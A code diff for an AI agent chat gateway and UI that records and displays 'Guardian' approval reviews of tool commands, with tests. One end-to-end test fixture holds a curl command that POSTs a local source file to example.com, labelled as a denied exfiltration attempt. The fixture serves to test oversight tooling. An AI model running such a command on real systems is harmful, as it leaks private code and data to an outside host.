prepareCodexAttemptConnection({ params, options }: CodexRu authProfileId: resolvedStartupAuthProfileId, authProfileStore: params.authProfileStore, agentDir, - homeScope: resolveCodexAppServerHomeScope({ appServer: pluginConfig.appServer }), + homeScope: appServerHomeScope, requirePreparedAuth: isCodexRemoteExecPlacementSandbox(sandbox), config: params.config, subscriptionProfileRequiredError: @@ -270,7 +273,9 @@ export async function prepareCodexAttemptConnection({ params, options }: CodexRu preparedAuth: startupPreparedAuth, } = authHandoff; const startupClientAuthProfileId = - usesSupervisionConnection || startupPreparedAuth?.kind === "api-key" + usesSupervisionConnection || + appServerHomeScope === "user" || + startupPreparedAuth?.kind === "api-key" ? null : startupAuthProfileId; const resolveReviewerPolicyContext = (binding: CodexAppServerThreadBinding | undefined) => { diff --git a/src/gateway/chat-display-projection.canvas.ts b/src/gateway/chat-display-projection.canvas.ts index 8ac136039be3..641e70e5c50f 100644 --- a/src/gateway/chat-display-projection.canvas.ts +++ b/src/gateway/chat-display-projection.canvas.ts @@ -1,7 +1,43 @@ import { asOptionalRecord as readRecord } from "@openclaw/normalization-core/record-coerce"; +import { truncateUtf16Safe } from "@openclaw/normalization-core/utf16-slice"; import { extractCanvasFromDetails, extractCanvasFromText } from "../chat/canvas-render.js"; import { truncateChatHistoryText } from "./chat-display-projection.helpers.js"; +const MAX_TOOL_APPROVAL_REVIEWS = 16; +const TOOL_APPROVAL_REVIEW_STATUSES = new Set([ + "in_progress", + "approved", + "denied", + "timed_out", + "aborted", +]); + +function boundedReviewText(value: unknown, maxChars: number): string | undefined { + const text = typeof value === "string" ? value.trim() : ""; + return text ? truncateUtf16Safe(text, maxChars) : undefined; +} + +function projectToolApprovalReview(value: unknown): Record | undefined { + const review = readRecord(value); + const id = boundedReviewText(review?.id, 256); + const label = boundedReviewText(review?.label, 80); + const status = boundedReviewText(review?.status, 32); + if (!id || !label || !status || !TOOL_APPROVAL_REVIEW_STATUSES.has(status)) { + return undefined; + } + const riskLevel = boundedReviewText(review?.riskLevel, 40); + const userAuthorization = boundedReviewText(review?.userAuthorization, 40); + const rationale = boundedReviewText(review?.rationale, 2_000); + return { + id, + label, + status, + ...(riskLevel ? { riskLevel } : {}), + ...(userAuthorization ? { userAuthorization } : {}), + ...(rationale ? { rationale } : {}), + }; +} + /** Return true for known tool-call/tool-result block type spellings in transcripts. */ export function isToolHistoryBlockType(type: unknown): boolean { if (typeof type !== "string") { @@ -43,6 +79,18 @@ export function projectToolResultDetails( if (typeof record.diff === "string" && record.diff.trim()) { projected.diff = truncateChatHistoryText(record.diff, maxChars).text; } + if (Array.isArray(record.approvalReviews)) { + const reviews = record.approvalReviews + .slice(-MAX_TOOL_APPROVAL_REVIEWS) + .flatMap((review) => projectToolApprovalReview(review) ?? []); + if (reviews.length > 0) { + projected.approvalReviews = reviews; + } + } + const reviewOutcome = record.approvalReviewOutcome; + if (reviewOutcome === "approved" || reviewOutcome === "denied" || reviewOutcome === "reviewing") { + projected.approvalReviewOutcome = reviewOutcome; + } const preview = extractCanvasFromDetails(record); if (preview?.mcpApp && preview.viewId) { projected.mcpAppPreview = { diff --git a/src/gateway/server-chat-progress-snapshot.ts b/src/gateway/server-chat-progress-snapshot.ts index 7e29b5d5d6b8..2a4444e1b807 100644 --- a/src/gateway/server-chat-progress-snapshot.ts +++ b/src/gateway/server-chat-progress-snapshot.ts @@ -1,9 +1,11 @@ +import { asNullableRecord } from "@openclaw/normalization-core/record-coerce"; import type { AgentEventPayload } from "../infra/agent-events.js"; import { jsonUtf8Bytes } from "../infra/json-utf8-bytes.js"; const CHAT_RUN_PROGRESS_MAX_EVENTS = 50; const CHAT_RUN_PROGRESS_MAX_BYTES = 128 * 1024; const CHAT_RUN_PROGRESS_MAX_EVENT_BYTES = 64 * 1024; +const CHAT_RUN_PROGRESS_MAX_REVIEWS_PER_TOOL = 16; export type ChatRunProgressSnapshot = { events: AgentEventPayload[]; @@ -18,6 +20,8 @@ export function updateChatRunProgressSnapshot( const data = event.data ?? {}; const phase = typeof data.phase === "string" ? data.phase : ""; const toolCallId = typeof data.toolCallId === "string" ? data.toolCallId.trim() : ""; + const review = asNullableRecord(data.review) ?? undefined; + const reviewId = typeof review?.id === "string" ? review.id.trim() : ""; const preambleItemId = typeof data.itemId === "string" && data.itemId.trim() ? data.itemId.trim() @@ -27,9 +31,15 @@ export function updateChatRunProgressSnapshot( const isTool = event.stream === "tool" && Boolean(toolCallId) && - ["start", "input_delta", "update", "result"].includes(phase); + ["start", "input_delta", "update", "review", "result"].includes(phase) && + (phase !== "review" || Boolean(reviewId)); const isPreamble = event.stream === "item" && data.kind === "preamble"; - if (!isTool && !isPreamble) { + const guardianTargetItemId = + typeof data.targetItemId === "string" ? data.targetItemId.trim() : ""; + const isStandaloneGuardian = + event.stream === "codex_app_server.guardian" && + (phase === "warning" || (phase === "completed" && !guardianTargetItemId)); + if (!isTool && !isPreamble && !isStandaloneGuardian) { return snapshot; } @@ -47,13 +57,8 @@ export function updateChatRunProgressSnapshot( const previousPreamble = preambleItemId ? next.events.find(matchesPreamble) : undefined; const removeWhere = (predicate: (candidate: AgentEventPayload) => boolean) => { - next.events = next.events.filter((candidate) => { - if (!predicate(candidate)) { - return true; - } - next.byteLength -= jsonUtf8Bytes(candidate); - return false; - }); + next.events = next.events.filter((candidate) => !predicate(candidate)); + next.byteLength = next.events.reduce((total, candidate) => total + jsonUtf8Bytes(candidate), 0); }; if (isTool) { @@ -61,12 +66,20 @@ export function updateChatRunProgressSnapshot( if (candidate.stream !== "tool" || candidate.data?.toolCallId !== toolCallId) { return false; } - return phase === "start" || phase === "result" || candidate.data?.phase === phase; + if (phase === "start") { + return true; + } + if (phase === "result") { + return candidate.data?.phase === "result"; + } + if (phase !== "review" || candidate.data?.phase !== "review") { + return candidate.data?.phase === phase; + } + // One command can own parallel reviews; replace only the matching + // review ID so reconnect restores every still-relevant decision. + return asNullableRecord(candidate.data.review)?.id === reviewId; }); - if (phase === "result") { - return next; - } - } else { + } else if (isPreamble) { const progressText = typeof data.progressText === "string" ? data.progressText.trim() : ""; removeWhere(matchesPreamble); if (!progressText) { @@ -77,19 +90,29 @@ export function updateChatRunProgressSnapshot( const storedData: Record = isTool ? { phase, - ...(typeof data.name === "string" ? { name: data.name } : {}), + name: typeof data.name === "string" ? data.name : undefined, toolCallId, - ...(phase === "start" && Object.hasOwn(data, "args") ? { args: data.args } : {}), - ...(phase === "update" && Object.hasOwn(data, "partialResult") - ? { partialResult: data.partialResult } - : {}), - ...(phase === "input_delta" && Object.hasOwn(data, "diff") ? { diff: data.diff } : {}), + args: phase === "start" ? data.args : undefined, + partialResult: phase === "update" ? data.partialResult : undefined, + diff: phase === "input_delta" ? data.diff : undefined, + review: phase === "review" ? data.review : undefined, + approvalReviewOutcome: + phase === "review" || phase === "result" ? data.approvalReviewOutcome : undefined, + isError: phase === "result" ? data.isError : undefined, + result: phase === "result" ? data.result : undefined, } - : { - kind: "preamble", - ...(preambleItemId ? { itemId: preambleItemId } : {}), - progressText: data.progressText, - }; + : isPreamble + ? { + kind: "preamble", + itemId: preambleItemId || undefined, + progressText: data.progressText, + } + : { ...data }; + for (const key of Object.keys(storedData)) { + if (storedData[key] === undefined) { + delete storedData[key]; + } + } let storedEvent: AgentEventPayload = { runId: event.runId, seq: event.seq, @@ -104,6 +127,8 @@ export function updateChatRunProgressSnapshot( if (eventBytes > CHAT_RUN_PROGRESS_MAX_EVENT_BYTES && isTool) { delete storedData.args; delete storedData.partialResult; + delete storedData.diff; + delete storedData.result; storedEvent = { ...storedEvent, data: storedData }; eventBytes = jsonUtf8Bytes(storedEvent); } @@ -112,15 +137,37 @@ export function updateChatRunProgressSnapshot( } next.events.push(storedEvent); next.byteLength += eventBytes; + if (phase === "review") { + const reviews = next.events.filter( + (candidate) => + candidate.stream === "tool" && + candidate.data?.toolCallId === toolCallId && + candidate.data?.phase === "review", + ); + const overflow = reviews.length - CHAT_RUN_PROGRESS_MAX_REVIEWS_PER_TOOL; + if (overflow > 0) { + const evicted = new Set(reviews.slice(0, overflow)); + removeWhere((candidate) => evicted.has(candidate)); + } + } while ( next.events.length > CHAT_RUN_PROGRESS_MAX_EVENTS || next.byteLength > CHAT_RUN_PROGRESS_MAX_BYTES ) { - const removed = next.events.shift(); - if (!removed) { + const oldest = next.events[0]; + if (!oldest) { break; } - next.byteLength -= jsonUtf8Bytes(removed); + const oldestToolCallId = + oldest.stream === "tool" && typeof oldest.data?.toolCallId === "string" + ? oldest.data.toolCallId + : ""; + // Review/update events depend on their start. Evict the complete owner group. + removeWhere((candidate) => + oldestToolCallId + ? candidate.stream === "tool" && candidate.data?.toolCallId === oldestToolCallId + : candidate === oldest, + ); } return next; } diff --git a/src/gateway/server-chat-state.test.ts b/src/gateway/server-chat-state.test.ts index 0f7052569321..bc2c8a5bcbeb 100644 --- a/src/gateway/server-chat-state.test.ts +++ b/src/gateway/server-chat-state.test.ts @@ -52,9 +52,9 @@ describe("createChatRunState", () => { expect(state.registry.shift("run-b")?.clientRunId).toBe("client-b-2"); }); - it("keeps bounded active progress ordered and removes completed tools", () => { + it("keeps completed owners and standalone notices reconstructable until bounded eviction", () => { const state = createChatRunState(); - const event = (seq: number, stream: "item" | "tool", data: Record) => + const event = (seq: number, stream: string, data: Record) => state.recordProgressEvent("run-1", { runId: "run-1", seq, @@ -83,19 +83,34 @@ describe("createChatRunState", () => { toolCallId: "active", partialResult: "halfway", }); - event(5, "tool", { phase: "start", name: "exec", toolCallId: "done", args: {} }); + event(5, "tool", { + phase: "review", + toolCallId: "active", + review: { id: "review-1", label: "Guardian", status: "in_progress" }, + }); event(6, "tool", { + phase: "review", + toolCallId: "active", + review: { id: "review-1", label: "Guardian", status: "approved" }, + }); + event(7, "tool", { + phase: "review", + toolCallId: "active", + review: { id: "review-2", label: "Guardian", status: "denied" }, + }); + event(8, "tool", { phase: "start", name: "exec", toolCallId: "done", args: {} }); + event(9, "tool", { phase: "result", name: "exec", toolCallId: "done", result: "x".repeat(256_000), }); - event(7, "item", { + event(10, "item", { kind: "preamble", itemId: "p-1", progressText: "Inspection complete", }); - event(8, "item", { + event(11, "item", { kind: "preamble", itemId: "p-2", progressText: "Running autoreview", @@ -110,16 +125,65 @@ describe("createChatRunState", () => { data: { phase: "input_delta", toolCallId: "active", diff: { added: 3, removed: 1 } }, }, { seq: 4, stream: "tool", data: { phase: "update", toolCallId: "active" } }, + { + seq: 6, + stream: "tool", + data: { + phase: "review", + toolCallId: "active", + review: { id: "review-1", status: "approved" }, + }, + }, { seq: 7, + stream: "tool", + data: { + phase: "review", + toolCallId: "active", + review: { id: "review-2", status: "denied" }, + }, + }, + { seq: 8, stream: "tool", data: { phase: "start", toolCallId: "done" } }, + { seq: 9, stream: "tool", data: { phase: "result", toolCallId: "done" } }, + { + seq: 10, stream: "item", ts: 1_001, data: { itemId: "p-1", progressText: "Inspection complete" }, }, - { seq: 8, stream: "item", data: { itemId: "p-2", progressText: "Running autoreview" } }, + { seq: 11, stream: "item", data: { itemId: "p-2", progressText: "Running autoreview" } }, ]); - for (let seq = 9; seq <= 71; seq += 1) { + event(12, "tool", { phase: "result", name: "read", toolCallId: "active" }); + expect( + state.runs + .get("run-1") + ?.progressSnapshot?.events.filter((candidate) => candidate.data.toolCallId === "active") + .map((candidate) => candidate.data.phase), + ).toEqual(["start", "input_delta", "update", "review", "review", "result"]); + + event(13, "codex_app_server.guardian", { + phase: "completed", + reviewId: "targeted-review", + targetItemId: "active", + status: "approved", + }); + event(14, "codex_app_server.guardian", { + phase: "warning", + message: "Guardian rejection limit reached; ending turn as interrupted.", + }); + event(15, "codex_app_server.guardian", { + phase: "completed", + reviewId: "network-review", + targetItemId: null, + status: "denied", + }); + expect(state.runs.get("run-1")?.progressSnapshot?.events.slice(-2)).toMatchObject([ + { seq: 14, data: { phase: "warning" } }, + { seq: 15, data: { reviewId: "network-review", targetItemId: null } }, + ]); + + for (let seq = 16; seq <= 78; seq += 1) { event(seq, "tool", { phase: "start", name: "read", @@ -133,9 +197,60 @@ describe("createChatRunState", () => { expect(snapshot?.events.at(-1)?.data).toEqual({ phase: "start", name: "read", - toolCallId: "tool-71", + toolCallId: "tool-78", }); }); + + it("keeps a review-heavy reconnect bounded, adverse, and attached to its owner", () => { + const state = createChatRunState(); + const event = (seq: number, data: Record) => + state.recordProgressEvent("run-1", { + runId: "run-1", + seq, + stream: "tool", + ts: 1_000 + seq, + data, + }); + event(1, { + phase: "start", + name: "exec", + toolCallId: "reviewed", + args: { command: "printf reviewed" }, + }); + for (let index = 0; index < 60; index += 1) { + event(index + 2, { + phase: "review", + toolCallId: "reviewed", + approvalReviewOutcome: "denied", + review: { + id: `review-${index}`, + label: "Guardian", + status: index === 0 ? "denied" : "approved", + }, + }); + } + + const events = state.runs.get("run-1")?.progressSnapshot?.events ?? []; + expect(events[0]?.data).toMatchObject({ phase: "start", toolCallId: "reviewed" }); + const reviews = events.filter((candidate) => candidate.data.phase === "review"); + expect(reviews).toHaveLength(16); + expect(reviews.map((candidate) => candidate.data.review)).toEqual( + Array.from({ length: 16 }, (_, index) => + expect.objectContaining({ id: `review-${index + 44}` }), + ), + ); + expect(reviews.at(-1)?.data.approvalReviewOutcome).toBe("denied"); + expect( + events.every( + (candidate) => + candidate.data.phase === "start" || + events.some( + (owner) => + owner.data.phase === "start" && owner.data.toolCallId === candidate.data.toolCallId, + ), + ), + ).toBe(true); + }); }); describe("createSessionMessageSubscriberRegistry", () => { diff --git a/src/gateway/server.chat.gateway-server-chat-b.test.ts b/src/gateway/server.chat.gateway-server-chat-b.test.ts index f51967c4e545..0602bfa0f3f8 100644 --- a/src/gateway/server.chat.gateway-server-chat-b.test.ts +++ b/src/gateway/server.chat.gateway-server-chat-b.test.ts @@ -849,7 +849,7 @@ describe("gateway server chat", () => { ); test.each(["chat.history", "chat.startup"] as const)( - "%s replays bounded active progress events in inFlightRun", + "%s retains completed tool owner events in bounded inFlightRun replay", async (method) => { const { createAgentEventHandler, @@ -1007,6 +1007,31 @@ describe("gateway server chat", () => { partialResult: "halfway", }, }, + { + runId: "run-active", + seq: 4, + stream: "tool", + ts: 1_004, + sessionKey: "main", + data: { + phase: "start", + name: "exec", + toolCallId: "tool-finished", + args: {}, + }, + }, + { + runId: "run-active", + seq: 5, + stream: "tool", + ts: 1_005, + sessionKey: "main", + data: { + phase: "result", + name: "exec", + toolCallId: "tool-finished", + }, + }, { runId: "run-active", seq: 6, @@ -6039,6 +6064,53 @@ describe("gateway server chat", () => { }); }); + test("chat.history retains a completed command's Guardian review details", async () => { + await withGatewayChatHarness(async ({ ws, createSessionDir }) => { + await prepareMainHistoryHarness({ ws, createSessionDir }); + const toolCallId = "exec-guardian-approved"; + const review = { + id: "review-guardian-approved", + label: "Guardian", + status: "approved", + riskLevel: "low", + userAuthorization: "high", + rationale: "The command is local and read-only.", + }; + await writeMainSessionTranscript([ + { + message: { + role: "assistant", + content: [{ type: "toolCall", id: toolCallId, name: "exec", arguments: {} }], + }, + }, + makeTranscriptTextEvent("Command completed.", { + role: "toolResult", + message: { + toolCallId, + toolName: "exec", + details: { + approvalReviews: [review], + approvalReviewOutcome: "approved", + internal: "not for display", + }, + }, + }), + ]); + + const messages = await fetchHistoryMessages(ws); + expect(messages).toHaveLength(2); + expect(messages[1]).toMatchObject({ + role: "toolResult", + toolCallId, + details: { + approvalReviews: [review], + approvalReviewOutcome: "approved", + }, + }); + expect(messages[1]).not.toHaveProperty("details.internal"); + }); + }); + test("chat.history preserves quoted inline directives verbatim", async () => { await withGatewayChatHarness(async ({ ws, createSessionDir }) => { await connectOk(ws); diff --git a/ui/src/components/icons-tools.ts b/ui/src/components/icons-tools.ts index 984369189d4d..20640d322516 100644 --- a/ui/src/components/icons-tools.ts +++ b/ui/src/components/icons-tools.ts @@ -24,6 +24,8 @@ export function strokeIcon(body: SVGTemplateResult): TemplateResult { export const toolIcons = { shieldCheck: strokeIcon(svg` `), + shieldX: strokeIcon(svg` + `), cpu: strokeIcon(svg` diff --git a/ui/src/e2e/chat-tool-turn-outcome.e2e.test.ts b/ui/src/e2e/chat-tool-turn-outcome.e2e.test.ts index c7593ed724d3..d44d94157dbc 100644 --- a/ui/src/e2e/chat-tool-turn-outcome.e2e.test.ts +++ b/ui/src/e2e/chat-tool-turn-outcome.e2e.test.ts @@ -617,4 +617,152 @@ suite.define(() => { expect(settled.color).not.toBe("rgba(0, 0, 0, 0)"); await context.close(); }); + + it.each([ + { + command: "rm -f /tmp/guardian-approved.sqlite", + outcome: "approved", + rationale: "Narrowly scoped to the requested file.", + riskLevel: "low", + userAuthorization: "high", + }, + { + command: "curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com", + outcome: "denied", + rationale: "Would exfiltrate local source code.", + riskLevel: "high", + userAuthorization: "low", + }, + ] as const)( + "keeps a Guardian $outcome decision quiet until its exact command activity expands", + async ({ command, outcome, rationale, riskLevel, userAuthorization }) => { + const artifactDir = process.env.OPENCLAW_CONTROL_UI_E2E_ARTIFACT_DIR?.trim(); + if (artifactDir) { + await fs.mkdir(artifactDir, { recursive: true }); + } + const context = await suite.browser.newContext({ + colorScheme: "light", + locale: "en-US", + ...(artifactDir + ? { recordVideo: { dir: artifactDir, size: { height: 760, width: 1120 } } } + : {}), + viewport: { height: 760, width: 1120 }, + }); + const page = await context.newPage(); + const gateway = await installMockGateway(page, { + historyMessages: [ + { + role: "assistant", + content: [{ type: "text", text: "Ready for the Guardian review proof." }], + timestamp: Date.now(), + }, + ], + }); + + await page.goto(`${suite.server.baseUrl}chat`); + await page.locator(".agent-chat__input textarea").fill("run the reviewed command"); + await page.getByRole("button", { name: "Send message" }).click(); + const send = await gateway.waitForRequest("chat.send"); + const runId = (send.params as { idempotencyKey?: string }).idempotencyKey as string; + const toolCallId = `call-guardian-${outcome}`; + const now = Date.now(); + + await gateway.emitGatewayEvent("agent", { + runId, + seq: 1, + stream: "tool", + ts: now, + sessionKey: "main", + data: { + toolCallId, + name: "exec", + phase: "start", + args: { command, cwd: "/tmp" }, + }, + }); + await gateway.emitGatewayEvent("agent", { + runId, + seq: 2, + stream: "codex_app_server.guardian", + ts: now + 1, + sessionKey: "main", + data: { + phase: "completed", + reviewId: `review-${outcome}`, + targetItemId: toolCallId, + status: outcome, + riskLevel, + userAuthorization, + rationale, + }, + }); + await gateway.emitGatewayEvent("agent", { + runId, + seq: 3, + stream: "tool", + ts: now + 2, + sessionKey: "main", + data: { + phase: "review", + toolCallId, + hideFromChannelProgress: true, + approvalReviewOutcome: outcome, + review: { + id: `review-${outcome}`, + label: "Guardian", + status: outcome, + riskLevel, + userAuthorization, + rationale, + }, + }, + }); + await gateway.emitGatewayEvent("agent", { + runId, + seq: 4, + stream: "tool", + ts: now + 3, + sessionKey: "main", + data: { + toolCallId, + name: "exec", + phase: "result", + isError: outcome === "denied", + result: { + status: outcome === "approved" ? "completed" : "declined", + exitCode: outcome === "approved" ? 0 : null, + durationMs: outcome === "approved" ? 42 : null, + }, + }, + }); + + const activity = page.locator(".chat-group--activity"); + const summary = activity.locator(".chat-activity-group__summary"); + await summary.waitFor(); + const status = activity.locator( + `.chat-activity-group__review-status[data-outcome="${outcome}"]`, + ); + await status.waitFor(); + expect(await activity.getByText(`Guardian ${outcome}`, { exact: true }).count()).toBe(0); + expect( + await page.getByText(`Automatic approval review ${outcome}`, { exact: false }).count(), + ).toBe(0); + await captureToolActivityProof(page, `guardian-${outcome}-collapsed`); + + await summary.click(); + const tool = activity.locator(".chat-tool-msg-collapse", { hasText: command }); + const review = tool.locator(`.chat-tool-review[data-review-status="${outcome}"]`); + await review.waitFor(); + expect(await review.textContent()).toContain(`Guardian ${outcome}`); + expect(await review.textContent()).toContain(rationale); + await captureToolActivityProof(page, `guardian-${outcome}-activity-expanded`); + + await tool.locator(".chat-tool-msg-summary").click(); + await tool.locator(".chat-tool-msg-body").waitFor(); + expect(await review.count()).toBe(1); + expect(await review.textContent()).toContain(rationale); + await captureToolActivityProof(page, `guardian-${outcome}-command-expanded`); + await context.close(); + }, + ); }); diff --git a/ui/src/i18n/locales/en.ts b/ui/src/i18n/locales/en.ts index 049e56306966..d0dbcb9e5b28 100644 --- a/ui/src/i18n/locales/en.ts +++ b/ui/src/i18n/locales/en.ts @@ -5948,6 +5948,16 @@ export const en: TranslationMap = { noOutputFailed: "No output — tool failed.", noOutputSucceeded: "No output — tool completed successfully.", noResult: "No result available.", + review: { + reviewing: "{reviewer} reviewing", + approved: "{reviewer} approved", + denied: "{reviewer} denied", + timedOut: "{reviewer} timed out", + aborted: "{reviewer} stopped", + risk: "{level} risk", + authorization: "{level} authorization", + noRationale: "No rationale was provided.", + }, verbs: { read: "Read", edit: "Edit", diff --git a/ui/src/lib/chat/chat-types.ts b/ui/src/lib/chat/chat-types.ts index 60a200a49e8b..086dd7d9a647 100644 --- a/ui/src/lib/chat/chat-types.ts +++ b/ui/src/lib/chat/chat-types.ts @@ -50,6 +50,15 @@ export type ChatGuardianNotice = { message?: string; }; +export type ToolApprovalReview = { + id: string; + label: string; + status: "in_progress" | "approved" | "denied" | "timed_out" | "aborted"; + riskLevel?: string; + userAuthorization?: string; + rationale?: string; +}; + export type ChatQueueSkillWorkshopRevision = { proposalId: string; agentId?: string; diff --git a/ui/src/lib/chat/tool-approval-reviews.ts b/ui/src/lib/chat/tool-approval-reviews.ts new file mode 100644 index 000000000000..9a2d71ce75e7 --- /dev/null +++ b/ui/src/lib/chat/tool-approval-reviews.ts @@ -0,0 +1,99 @@ +import { asNullableRecord } from "@openclaw/normalization-core/record-coerce"; +import { truncateUtf16Safe } from "@openclaw/normalization-core/utf16-slice"; +import type { ToolApprovalReview } from "./chat-types.ts"; + +type ToolApprovalReviewOutcome = "approved" | "denied" | "reviewing"; + +const REVIEW_STATUSES = new Set([ + "in_progress", + "approved", + "denied", + "timed_out", + "aborted", +]); +export const MAX_TOOL_APPROVAL_REVIEWS = 16; + +function boundedString(value: unknown, maxChars: number): string | undefined { + const text = typeof value === "string" ? value.trim() : ""; + return text ? truncateUtf16Safe(text, maxChars) : undefined; +} + +function isReviewStatus(value: string | undefined): value is ToolApprovalReview["status"] { + return value !== undefined && REVIEW_STATUSES.has(value); +} + +export function normalizeToolApprovalReview(value: unknown): ToolApprovalReview | null { + const review = asNullableRecord(value); + const id = boundedString(review?.id, 256); + const label = boundedString(review?.label, 80); + const status = boundedString(review?.status, 32); + if (!id || !label || !isReviewStatus(status)) { + return null; + } + const riskLevel = boundedString(review?.riskLevel, 40); + const userAuthorization = boundedString(review?.userAuthorization, 40); + const rationale = boundedString(review?.rationale, 2_000); + return { + id, + label, + status, + ...(riskLevel ? { riskLevel } : {}), + ...(userAuthorization ? { userAuthorization } : {}), + ...(rationale ? { rationale } : {}), + }; +} + +export function readToolApprovalReviews(details: unknown): ToolApprovalReview[] { + const values = asNullableRecord(details)?.approvalReviews; + if (!Array.isArray(values)) { + return []; + } + return values + .slice(-MAX_TOOL_APPROVAL_REVIEWS) + .map(normalizeToolApprovalReview) + .filter((review): review is ToolApprovalReview => review !== null); +} + +export function withToolApprovalReviews( + details: unknown, + reviews: readonly ToolApprovalReview[], + outcome?: ToolApprovalReviewOutcome, +): Record { + const record = asNullableRecord(details); + return { + ...(record ?? (details === undefined ? {} : { toolDetails: details })), + approvalReviews: [...reviews], + ...(outcome ? { approvalReviewOutcome: outcome } : {}), + }; +} + +export function readToolApprovalReviewOutcome( + details: unknown, +): ToolApprovalReviewOutcome | undefined { + const outcome = asNullableRecord(details)?.approvalReviewOutcome; + return outcome === "approved" || outcome === "denied" || outcome === "reviewing" + ? outcome + : undefined; +} + +export function resolveToolApprovalReviewOutcome( + reviews: readonly ToolApprovalReview[], + recordedOutcomes: readonly ToolApprovalReviewOutcome[] = [], +): ToolApprovalReviewOutcome | null { + if ( + recordedOutcomes.includes("denied") || + reviews.some((review) => ["denied", "timed_out", "aborted"].includes(review.status)) + ) { + return "denied"; + } + if ( + recordedOutcomes.includes("reviewing") || + reviews.some((review) => review.status === "in_progress") + ) { + return "reviewing"; + } + return recordedOutcomes.includes("approved") || + reviews.some((review) => review.status === "approved") + ? "approved" + : null; +} diff --git a/ui/src/lib/chat/tool-cards.ts b/ui/src/lib/chat/tool-cards.ts index bd79d2437387..e7198bb6364f 100644 --- a/ui/src/lib/chat/tool-cards.ts +++ b/ui/src/lib/chat/tool-cards.ts @@ -356,12 +356,14 @@ function extractToolCards(message: unknown, prefix = "tool"): ToolCard[] { if (isToolCall) { const args = coerceArgs(item.arguments ?? item.args ?? item.input); const callId = resolveToolCallId(item, m); + const details = item.details ?? m.details; cards.push({ id: resolveToolCardId(item, m, index, prefix), ...(callId ? { callId } : {}), name: resolveToolName(item, m), args, inputText: serializeToolInput(args), + ...(details !== undefined ? { details } : {}), ...(isLiveToolStream ? { live: true, completed: m["__openclawToolStreamResultReceived"] === true } : {}), diff --git a/ui/src/pages/chat/components/chat-message-bubble.ts b/ui/src/pages/chat/components/chat-message-bubble.ts index 931466eada79..760ca5b8da31 100644 --- a/ui/src/pages/chat/components/chat-message-bubble.ts +++ b/ui/src/pages/chat/components/chat-message-bubble.ts @@ -32,13 +32,7 @@ import { import type { EmbedSandboxMode } from "../../../lib/chat/tool-display.ts"; import { resolveToolDisplay } from "../../../lib/chat/tool-display.ts"; import type { LinkFaviconFetcher } from "../link-favicon-loader.ts"; -import { - visibleWorkspaceConflictPaths, - workspaceConflictCount, - workspaceConflictPathForDisplay, - workspaceResultConflictFromTranscript, - type WorkspaceResultConflict, -} from "../workspace-conflict.ts"; +import { workspaceResultConflictFromTranscript } from "../workspace-conflict.ts"; import { renderAssistantAttachments } from "./chat-message-attachments.ts"; import { renderMessageImages, resolveRenderableMessageImages } from "./chat-message-images.ts"; import { @@ -63,6 +57,7 @@ import type { SidebarContent } from "./chat-sidebar.ts"; import { renderExpandedToolCardContent, renderRawOutputToggle, + renderToolApprovalReviews, renderToolCard, renderToolOutcome, renderToolPreview, @@ -71,6 +66,7 @@ import { syncToolDisclosureOverflow, toggleToolDisclosureKeepingScroll, } from "./chat-tool-cards.ts"; +import { renderWorkspaceConflictTranscriptMessage } from "./chat-workspace-conflict.ts"; function renderChatIcon(name: string) { return icons[name as IconName] ?? icons.zap; @@ -90,6 +86,7 @@ function renderInlineToolCards( canvasPluginSurfaceUrl?: string | null; embedSandboxMode?: EmbedSandboxMode; allowExternalEmbedUrls?: boolean; + showApprovalReviews?: boolean; }, ) { return html` @@ -110,6 +107,7 @@ function renderInlineToolCards( canvasPluginSurfaceUrl: opts.canvasPluginSurfaceUrl, embedSandboxMode: opts.embedSandboxMode ?? "scripts", allowExternalEmbedUrls: opts.allowExternalEmbedUrls ?? false, + showApprovalReviews: opts.showApprovalReviews, }); })} @@ -582,6 +580,7 @@ export function renderGroupedMessage( canvasPluginSurfaceUrl: opts.canvasPluginSurfaceUrl, embedSandboxMode: opts.embedSandboxMode ?? "scripts", allowExternalEmbedUrls: opts.allowExternalEmbedUrls ?? false, + showApprovalReviews: false, }) : nothing} ${failedToolCard @@ -590,6 +589,7 @@ export function renderGroupedMessage( ` : nothing} + ${toolCards.map((card) => renderToolApprovalReviews(card))} ` : html` @@ -677,49 +677,3 @@ export function renderGroupedMessage( `; } - -function renderWorkspaceConflictTranscriptMessage( - conflict: WorkspaceResultConflict, - messageKey: string, - entryId?: string, -) { - const count = workspaceConflictCount(conflict); - const visible = visibleWorkspaceConflictPaths(conflict); - return html` -
-
-
- - ${t( - count === 1 - ? "chat.workspaceConflict.eventTitleOne" - : "chat.workspaceConflict.eventTitleMany", - { count: String(count) }, - )} -
-

${t("chat.workspaceConflict.eventDescription")}

-
    - ${visible.paths.map( - (entryPath) => - html`
  • ${workspaceConflictPathForDisplay(entryPath)}
  • `, - )} -
- ${visible.remaining > 0 - ? html`
- ${t("chat.workspaceConflict.morePaths", { count: String(visible.remaining) })} -
` - : nothing} -
- ${t("chat.workspaceConflict.stagedResult")} - ${conflict.stagedResultRef} -
-
-
- `; -} diff --git a/ui/src/pages/chat/components/chat-message-group.ts b/ui/src/pages/chat/components/chat-message-group.ts index 0d0acafc685f..3f36d2fce103 100644 --- a/ui/src/pages/chat/components/chat-message-group.ts +++ b/ui/src/pages/chat/components/chat-message-group.ts @@ -7,6 +7,11 @@ import type { BoardProvider } from "../../../lib/board/provider.ts"; import type { MessageGroup } from "../../../lib/chat/chat-types.ts"; import { normalizeRoleForGrouping } from "../../../lib/chat/message-normalizer.ts"; import { formatSenderLabel } from "../../../lib/chat/sender-label.ts"; +import { + readToolApprovalReviewOutcome, + readToolApprovalReviews, + resolveToolApprovalReviewOutcome, +} from "../../../lib/chat/tool-approval-reviews.ts"; import { summarizeToolGroup } from "../../../lib/chat/tool-call-grouping.ts"; import { extractToolCardsCached } from "../../../lib/chat/tool-cards.ts"; import type { EmbedSandboxMode } from "../../../lib/chat/tool-display.ts"; @@ -252,6 +257,18 @@ export function renderActivityGroup( const activityDisclosureId = `activity:${firstGroup.key}`; const activityBodyId = `activity-body-${fnv1aUtf16(firstGroup.key).toString(16)}`; const activityExpanded = opts.isToolMessageExpanded?.(activityDisclosureId) ?? false; + const approvalReviews = cards.flatMap((card) => readToolApprovalReviews(card.details)); + const recordedReviewOutcomes = cards.flatMap((card) => { + const outcome = readToolApprovalReviewOutcome(card.details); + return outcome ? [outcome] : []; + }); + const reviewOutcome = resolveToolApprovalReviewOutcome(approvalReviews, recordedReviewOutcomes); + const reviewer = approvalReviews[0]?.label ?? "Review"; + const reviewAriaLabel = reviewOutcome + ? t(`chat.toolCards.review.${reviewOutcome === "reviewing" ? "reviewing" : reviewOutcome}`, { + reviewer, + }) + : ""; return html` `; 